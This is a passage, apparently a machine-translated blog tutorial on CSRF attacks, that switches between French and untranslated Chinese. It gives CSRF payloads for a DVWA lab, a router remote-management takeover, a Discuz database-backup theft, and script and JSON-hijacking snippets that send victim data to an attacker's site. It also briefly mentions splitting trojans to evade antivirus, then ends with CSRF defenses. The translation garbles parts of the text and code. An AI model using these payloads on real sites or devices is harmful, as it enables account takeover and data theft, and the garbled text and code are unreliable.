Falsification de demande intersite CSRF dans les tests d'intrusion

Falsification de demande intersite CSRF

théorie:

1. Définition:

La falsification de requêtes intersites Csrf est une utilisation malveillante de sites Web. La différence avec les attaques de script
intersites xss est que xss utilise des utilisateurs de confiance sur le site pour attaquer, mais csrf utilise les demandes d'utilisateurs de confiance pour inciter les attaquants à se forger eux-mêmes. utilisateur et lancez une attaque.
XSS:
Parce que la détection d'entrée n'est pas stricte, l'
injection de code js
csrf: l'
utilisation malveillante du site Web a
falsifié les requêtes des utilisateurs

2. Principe de fonctionnement:

1. L'utilisateur navigue et se connecte au site Web de confiance A
2. À ce moment, l'authentification est réussie, un cookie du site Web de confiance A sera généré chez l'utilisateur
3. Ensuite, l'utilisateur visite le site Web menaçant B sans se connecter au site Web A
4. Cela Lorsque le site Web menaçant B demande à visiter le site Web tiers A, il envoie une demande de demande
5. Ensuite, selon la demande en 4, le navigateur visitera A avec le cookie généré en 2
6. À ce stade, A ne connaît pas la demande d'accès en 5 Est-elle envoyée par l'utilisateur ou le site Web menacé B, le navigateur apportera automatiquement le cookie de l'utilisateur, de sorte que le site Web A utilisera l'autorisation de l'utilisateur pour traiter 5 demande, de sorte que le site Web B simulera avec succès l'utilisateur pour visiter un site Web et effectuer des opérations.

3. Pour terminer une attaque csrf, la victime doit effectuer deux étapes:

1. Connectez-vous à un site Web de confiance et générez des cookies localement
2. Visitez le site Web dangereux B sans vous déconnecter A

Expérience 1 (cas de modification du mot de passe)

进入dvwa,将安全级别设置为low

进入CSEF测试页面

输入密码,提交,发现提交的url如下:
http://192.168.0.107:81/dvwa/vulnerabilities/csrf/?password_new=1&password_conf=1&Change=%E6%94%B9%E5%8F%98#

此时构造攻击页面:
<img src=” http://192.168.0.107:81/dvwa/vulnerabilities/csrf/?password_new=2&password_conf=2&Change=%E6%94%B9%E5%8F%98#
” border=”0” style=”display:none;” >
<h1>404<h1>
<h2>file not found<h2>
将构造好的攻击页面放置在第三方服务器中,页面访问地址为http://192.168.0.10/csrf.html
192.168.1.10是第三方服务器的地址
当用户点击该链时,密码被修改。

Deuxième expérience (changer la casse du mot de passe)

进入dvwa,将安全级别设置为low

进入CSEF测试页面

输入密码,提交,发现提交的url如下:
http://192.168.0.107:81/dvwa/vulnerabilities/csrf/?password_new=1&password_conf=1&Change=%E6%94%B9%E5%8F%98#

查看代码,发现服务器端使用stripos()函数判断变量HTTP——referrer中的referer参数值,表示来源地址,是否包含server_name(http头的host参数即访问的主机名)
通过这种方法来防御csrf攻击

此时构造攻击页面SERVER_NAME.html

<img src =” http://192.168.0.107:81/dvwa/vulnerabilities/csrf/?password_new=2&password_conf=2&Change=%E6%94%B9%E5%8F%98# ” border =” 0” style =”显示:无;” >

<h1>404<h1>
<h2>file not found<h2>
其中server_name为dvwa平台的IP地址
将构造好的攻击页面放置在第三方服务器中,页面访问地址为http://192.168.0.10/server_name.html
192.168.1.10是第三方服务器的地址\server_name是dvwa的ip地址
 
当用户点击该链时,密码被修改。

Expérience trois (changer la casse du mot de passe)

接用 burp 抓包把http://127.168.1.55:8080/dvwa/vulnerabilities/csrf/加入到 referer
里面,点击转发数据包,发现密码修改成功

也就是说,在构造攻击代码的时候,要将攻击代码修改成refer为站点refer的,之后再结合其他手法进行嵌入

修改密码案例防御. CSRF 直接判断旧密码是否正确了,这样在不知用户原有密码的情况下,不管是否存在 CSRF, 你都是无效的。

Expérience 4: attaque csrf sur un équipement de réseau local:

一般情况下,外网不可以访问,交换机等硬件也是,如果想访问内网设备,应该怎么办呢,注意,内网设备很多是默认密码的
首先,模拟正常用户身份登录,进入到路由器中开启web管理端口,再用burp抓包,抓取得到地址
<img
src=http://192.168.1.1/userRpm/ManageControlRpm.htm?port=80&ip=255.255.255.255&Save=
%B1%A3+%B4%E6>
将这个攻击代码插入到想插入的地方,欺骗对方企业访问这个地址,访问之后对方设备的远程web管理端口就打开了
这段攻击代码三个功能,先开启80端口,把远程web管理IP地址改成255.255.255.255,保存
注意在登录状态,被攻击者访问了带有 CSRF 攻击代码的网页时,就“被迫”开启了“远
程 WEB 管理”功能
使用 GET 方式发起的 CSRF 攻击,通过社工等手法让被攻击者访问恶意站点的 CSRF 文件。
FAST 无线宽带路由器的 WEB 管理的默认用户名与密码:admin。

Expérience 5: Pas besoin de cas de navigateur:

将攻击代码嵌入到自解压选项中
补充
在做免杀的时候也可以使用这个功能做自解压木马干掉杀毒软件
可以把一个木马进行拆分
先把注册表导入形式拆分
内存部分再拆分
启动项拆分导入形式
最后加一个自动.exe形式

Expérience 6 (cas rapide de déstockage)

dscuz中注册一个普通用户

模拟用户发帖
在帖子里 添加一个网络图片
http://192.168.1.55:8080/dzcsrt/uc_server/admin.php?m=db&a=operate&t=export&app id=0&backupdir=xxxx%26backupfilename%3Daaaa

当管理员访问此贴时,只看到一张未正常显示的图片
网页加载图片的 URL就是管理员在数据备份时所访问的 URL 用管理员账号登录查看消息(在管理模式下) 他的数据库就被备份了
攻击者直接在默认路径下载备份好的数据库就可以了

Modèle de ver CSRF

同域内 CSRF 攻击获取数据几乎没任何限制
跨域 CSRF 攻击获取数据的几种方法总结如下
1、XSS
使用目标站点上的 XSS 漏洞
> <iframe width=0 height=0 src=‘http://目标站点/search.php?k=“><script
> src=http://恶意站点/get.js></script>’></iframe>

http://恶意站点/get.js 的代码是:
//use DOM method to get your data
new Image(). src=‘http://恶意站点/do.php?data=‘+yourdata;

恶意站点的 do.php 文件接收唯一标识等数据。该唯一标识可以是 url 中的或是目标站点
url 对应的内容中的。

2、服务端代理技术
3、JSON Hijacing
使用 JSON Hijacking 技术:
目标站点使用了 JSON 数据传输用户私有数据。
该私有数据内包含我们需要的唯一标识等信息。
< script > 					function hijack(o){					//使用DOM方法获取数据					新Image()。src =“ http://192.168.1.2/JSONHiJack.asp?hi=” + escape(data); 					} </ script > 					<script					src = http://api.fanfou.com/private_messages/inbox.json?callback = hijack&count = 2> </ script >

4、Flash AsctionScript(crossdomain.xml)
使用 Flash ActionScript 脚本
目标站点下必须存在 crossdomain.xml 文件,crossdomain.xml 中的配置允许其他域的 AS
脚本进行跨域请求
万用符*

要获取的关键数据是唯一标识
用户 id、用户昵称、用户 email、用户个人页面地址等

prévention rse

Défense côté serveur:

  1. Vérifier le champ HTTP Referer
    Selon le protocole HTTP, il existe un champ dans l'en-tête HTTP appelé Referer, qui enregistre l'
    adresse source de la requête HTTP . Dans des circonstances normales, les demandes d'accès à une page sécurisée à accès restreint doivent provenir du même site Web

Par exemple, un virement bancaire est effectué par l'utilisateur visitant la page http: //bank.test/test? Page = 10 & userID = 101 & money = 10000. L'utilisateur doit d'abord se connecter à bank.test, puis cliquer sur le bouton page pour déclencher l'événement de transfert.
Lorsqu'un utilisateur soumet une demande, la valeur Referer de la demande de transfert sera l'URL de la page où se trouve le bouton de transfert (dans cet exemple, il s'agit généralement d'une adresse commençant par la banque. Nom de domaine de test).

Si un attaquant souhaite implémenter une attaque CSRF sur le site Web d'une banque, il ne peut construire une requête que sur son propre site Web. Lorsqu'un utilisateur envoie une demande à la banque via le site Web de l'attaquant, le référent de la demande pointe vers le site Web de l'attaquant. Par conséquent, pour se défendre contre les attaques CSRF, le site Web de la banque n'a besoin que de vérifier la valeur Referer pour chaque demande de transfert. S'il s'agit d'un nom de domaine commençant par bank. Test, cela signifie que la demande provient du site Web de la banque lui-même et est légitime. Si Referer est un autre site Web, il peut s'agir d'une attaque CSRF et la demande est rejetée.

2. Ajoutez le jeton à l'adresse de la demande et vérifiez que l'
attaque CSRF peut réussir car l'attaquant peut falsifier la demande de l'utilisateur. Toutes les informations d'authentification de l'utilisateur dans la demande se trouvent dans le cookie, de sorte que l'attaquant peut ne pas avoir connaissance de ces vérifications. Dans dans le cas d'informations, utilisez directement le propre cookie de l'utilisateur pour passer la vérification de sécurité.

On peut voir que la clé pour résister aux attaques CSRF est d'inclure des informations qui ne peuvent pas être falsifiées par l'attaquant dans la demande, et que ces informations n'existent pas dans le cookie. Compte tenu de cela, le développeur du système peut ajouter un jeton généré aléatoirement sous la forme d'un paramètre dans la requête HTTP et établir un intercepteur côté serveur pour vérifier le jeton. S'il n'y a pas de jeton dans la requête ou le contenu de le jeton est incorrect, il peut être considéré comme attaqué par CSRF et rejeté la demande.


  1. La méthode de personnalisation et de vérification des propriétés personnalisées dans l'en-tête HTTP consiste également à utiliser des jetons et à les vérifier. La différence avec la méthode précédente est qu'au lieu de placer le jeton dans la requête HTTP en tant que paramètre, il est placé dans la requête HTTP. Mettez-le dans l'attribut personnalisé de l'en-tête HTTP.
    Grâce à la classe XMLHttpRequest, vous pouvez ajouter l'attribut d'en-tête HTTP csrftoken à toutes les demandes de ce type en même temps et y placer la valeur du jeton. Cela a été résolu avant de manière à se joindre à l'inconvénient du jeton de demande en même temps, via cette classe, l'adresse demandée ne sera pas enregistrée dans la barre d'adresse du navigateur, ne vous inquiétez pas de fuite de jeton vers d'autres sites via Referer
    4. côté serveur Distinguer strictement entre les demandes de données POST et GET. Par
    exemple, n'utilisez pas Request pour obtenir directement des données dans asp. Dans le même temps, il est recommandé de ne pas utiliser de requêtes GET pour effectuer des opérations persistantes, telles que: http://www.yeeyan.com/space/deleteEvent/16824.

5. Utilisez un code de vérification ou un mot de passe pour confirmer que
cette méthode est très efficace, mais l'expérience utilisateur est pire.
Par exemple, pour changer le mot de passe, vous devez entrer le code de vérification ou le mot de passe d'origine

Défense côté utilisateur

Il n'est pas réaliste pour les utilisateurs ordinaires d'apprendre et de posséder des connaissances en matière de sécurité réseau pour se défendre contre les attaques réseau. Cependant, si les utilisateurs développent de bonnes habitudes de navigation, les dommages des attaques CSRF peuvent être considérablement réduits.
L'administrateur système, l'utilisateur le plus important et le plus important, doit essayer de cliquer sur des liens et des images inconnus lors de la déconnexion du système. En outre, les utilisateurs doivent également installer un logiciel de protection de sécurité approprié sur les ordinateurs connectés à Internet et mettre à jour la base de données de signatures publiée par le fabricant du logiciel à temps pour maintenir le suivi en temps réel des dernières attaques par le logiciel de sécurité.

Défense des équipements de sécurité

Comme cela prend un certain temps entre la découverte des vulnérabilités et la publication des correctifs, et qu'une proportion considérable de fournisseurs n'a pas répondu positivement aux vulnérabilités, et que certains administrateurs système ne prêtent pas suffisamment attention aux correctifs système, ceux-ci ont donné aux attaquants une opportunité. Au vu des différentes situations évoquées ci-dessus, les utilisateurs peuvent utiliser des équipements de sécurité professionnels tiers pour renforcer la défense contre les vulnérabilités CSRF.

L'essence de l'attaque CSRF est que l'attaquant a forgé une identité légale pour accéder au système. Si
l'identité falsifiée du visiteur peut être identifiée, l'attaque CSRF peut également être identifiée. Des recherches ont montré que les produits de sécurité de certains fournisseurs peuvent
identifier rapidement et précisément les attaques CSRF en vérifiant le contenu du champ Referer dans l' en-tête HTTP en fonction du niveau matériel . À l'heure actuelle, les produits IPS de H3C utilisent une technologie spéciale pour prendre en charge la détection et le blocage des attaques de vulnérabilité CSRF dans certains systèmes couramment utilisés. La
méthode de défense consiste
d'abord à faire correspondre le trafic réseau avec la signature de la base de données de signatures.

Caractéristiques des coups
Rapporter les journaux d'attaque

Aucune fonctionnalité de hit,
libération du trafic

Je suppose que tu aimes

Origine blog.csdn.net/weixin_45380284/article/details/107952104
conseillé
Classement